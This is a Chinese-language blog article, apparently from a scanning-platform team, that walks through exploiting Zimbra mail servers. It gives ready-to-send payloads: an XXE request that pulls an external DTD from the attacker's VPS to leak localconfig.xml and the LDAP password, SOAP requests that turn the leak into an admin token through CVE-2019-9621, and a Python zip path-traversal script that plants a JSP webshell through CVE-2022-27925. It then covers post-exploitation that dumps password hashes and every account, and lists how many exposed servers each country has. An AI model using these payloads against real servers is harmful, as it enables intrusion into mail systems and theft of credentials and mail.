Zimbra攻击面分析

0x01
前言

本文主要是对zimbra历史漏洞的利用以及后渗透方面介绍,不涉及对漏洞源码具体分析,有兴趣的师傅可以自行调试源码。

0x02
Zimbra介绍


Zimbra提供一套开源协同办公套件包括WebMail,日历,通信录,Web文档管理和创作。它最大的特色在于其采用Ajax技术模仿CS桌面应用软件的风格开发的客户端兼容Firefox,Safari和IE浏览器。

0x03
Zimbra历史漏洞介绍


zimbra有几个比较好用的漏洞分别是CVE-2019-9670,CVE-2019-9621以及最新出的CVE-2022-27925,本编文章着重介绍CVE-2019-9670,CVE-2019-9621组合利用与CVE-2022-27925以及getshell后一些后渗透利用的方法。

3.1 CVE-2019-9670+CVE-2019-9621

  • XXE读取密码

请求/Autodiscover/Autodiscover.xml如果可以正常访问并且没有报404,那么多半存在CVE-2019-9670漏洞

CVE-2019-9670主要的作用是为后续的渗透过程中获取AdminToken

请求Content-Type需设置为application/xml,否则可能无法解析

<!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><Autodiscover xmlns="<http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a>">    <Request>      <EMailAddress>aaaaa</EMailAddress>      <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>    </Request></Autodiscover>

此处我们需要读取的关键文件是/opt/zimbra/conf/localconfig.xml,此文件是zimbra的配置文件,存储了ldap密码,mysql密码加密结果等高价值信息

由于localconfig.xml为XML文件,需要加上CDATA标签才能作为文本读取,XXE不能内部实体进行拼接,在VPS上启用外部DTD

evil.dtd

<!ENTITY % file SYSTEM "file:../conf/localconfig.xml"><!ENTITY % start "<![CDATA["><!ENTITY % end "]]>"><!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">

POC数据包

<!DOCTYPE Autodiscover [        <!ENTITY % dtd SYSTEM "<http://VPS/evil.dtd>">        %dtd;        %all;        ]><Autodiscover xmlns="<http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a>">    <Request>        <EMailAddress>aaaaa</EMailAddress>        <AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>    </Request></Autodiscover>

如果遇到Body cannot be parsed这种情况,大概率是因为目标无法访问VPS,换一台VPS即可

下图为验证成功截图
现在我们需要用到的其实就只有一个key:ldap_password

获取到用户名与密码后,可以通过soap接口获取低权限token

Zimbra soap协议文档
Admin SOAP API – https://zimbra.example.com/service/wsdl/ZimbraAdminService.wsdl
User SOAP API – https://zimbra.example.com/service/wsdl/ZimbraUserService.wsdl
Full SOAP API – https://zimbra.example.com/service/wsdl/ZimbraService.wsdl

有兴趣的师傅可以执行深入研究,此处不作具体分析

获取低权限TokenPOC数据包

POST /service/soap HTTP/1.1Host: Content-Length: 465User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Accept: */*Connection: close

<soap:Envelope xmlns:soap="<http://www.w3.org/2003/05/soap-envelope>"> <soap:Header> <context xmlns="urn:zimbra"> <userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/> </context> </soap:Header> <soap:Body> <AuthRequest xmlns="urn:zimbraAccount"> <account by="adminName">zimbra</account> <password>wH4PB24Lkl</password> </AuthRequest> </soap:Body></soap:Envelope>

password为利用XXE漏洞所读取的ldap_password

  • 通过CVE-2019-9621获取高权限Token

POC数据包

host需要加上端口7071

POST /service/proxy?target=https://127.0.0.1:7071/service/admin/soap HTTP/1.1Host: :7071Content-Length: 463Cookie: ZM_ADMIN_AUTH_TOKEN=0_bffefcbe541420e7d2d5fb11c7898892fb646ba4_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313635383937383130303539323b747970653d363a7a696d6272613b7469643d31303a313536303933323938333b;User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36Accept: */*Content-Type: application/xmlConnection: close

<soap:Envelope xmlns:soap="<http://www.w3.org/2003/05/soap-envelope>"> <soap:Header> <context xmlns="urn:zimbra"> <userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/> </context> </soap:Header> <soap:Body> <AuthRequest xmlns="urn:zimbraAdmin"> <account by="adminName">zimbra</account> <password>wH4PB24Lkl</password> </AuthRequest> </soap:Body></soap:Envelope>

  • 通过AdminToken上传文件GetShell

在获取到高权限的AdminToken可通过上传API上传webshell

当响应数据包返回的onload的属性值为window.parent._uploadManager.loaded(1,'null'); 时即为上传成功,默认上传的存储路径为/opt/zimbra/jetty/webapps/zimbra/downloads(此时访问Webshell仍需要AdminToken)

3.2 CVE-2022-27925

  • 创建压缩包

import zipfileimport io
JSP_SHELL = ''' test'''zipFileBuf = io.BytesIO()f = zipfile.ZipFile(zipFileBuf, 'w')f.writestr('../../../../mailboxd/webapps/zimbraAdmin/test.jsp', JSP_SHELL) # 对应路径为/opt/zimbra/jetty_base/webapps/zimbraAdmin/test.jspf.close()payload = zipFileBuf.getvalue()

  • 上传shell

/service/extension/backup/mboximport?account-name=admin&account-status=1&ow=cmd发送payload,响应状态码为401 且/zimbraAdmin/test.jsp返回test即上传成功

0x04
后渗透利用

获得连接LDAP服务器的用户名和口令

/opt/zimbra/bin/zmlocalconfig -s |grep zimbra_ldap

获得连接MySQL数据库的用户名和口令

/opt/zimbra/bin/zmlocalconfig -s | grep mysql

AdminToken

在获取到AdminToken后,我们可以借助SoupApi完成很多操作,比如新增用户,获取所有用户及其联系人,所有用户的临时token,借用此token我们可伪造其身份登录Zimbra系统取邮件等

  • SoupApi之GetLDAPEntriesRequest

说明文档:(https://files.zimbra.com/docs/soap_api/8.8.15/api-reference/zimbraAdmin/GetLDAPEntries.html)

此命令可获得用户邮箱和对应密码的hash

<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"><soap:Header>   <context xmlns="urn:zimbra">       <authToken>{token}</authToken>   </context></soap:Header><soap:Body> <GetLDAPEntriesRequest xmlns="urn:zimbraAdmin">    <query>cn=*</query>    <ldapSearchBase>{ldapSearchBase}</ldapSearchBase> </GetLDAPEntriesRequest></soap:Body></soap:Envelope>

ldapSearchBase类似于ldap地址,如ldap://mail.zimbra.com:389对应的ldapSearchBase就是dc=zimbra,dc=com

ldap地址我们同样可以在localconfig.xml中读取到

  • SoupApi之GetAllAccountsRequest

说明文档:(https://files.zimbra.com/docs/soap_api/8.8.15/api-reference/zimbraAdmin/GetAllAccounts.html)

此命令可以获得所有用户的邮箱及对应的ID


<soap:Envelope xmlns:soap="<http://www.w3.org/2003/05/soap-envelope>"><soap:Header>   <context xmlns="urn:zimbra">       <authToken>{token}</authToken>   </context></soap:Header><soap:Body>   <GetAllAccountsRequest xmlns="urn:zimbraAdmin">   </GetAllAccountsRequest></soap:Body></soap:Envelope>
此条命令只需要提供AdminToken即可

0x05
Zimbra全网测绘结果

根据Quake平台测绘数据显示,在数据去重、排除蜜罐与CDN后,全球Zimbra站点共有 87467个独立IP,IP数量全球前五的国家分别是波兰(24018)、美国(21251)、巴西(13135)、德国(11946)法国(11846)

国内使用最多的省市分别是香港(4678)、台湾省(1738)、北京市(755)、广东省(577)与上海市(387)

欢迎进群

添加管理员微信号:quake_360

备注:进群    邀请您加入 QUAKE交流群~

(完)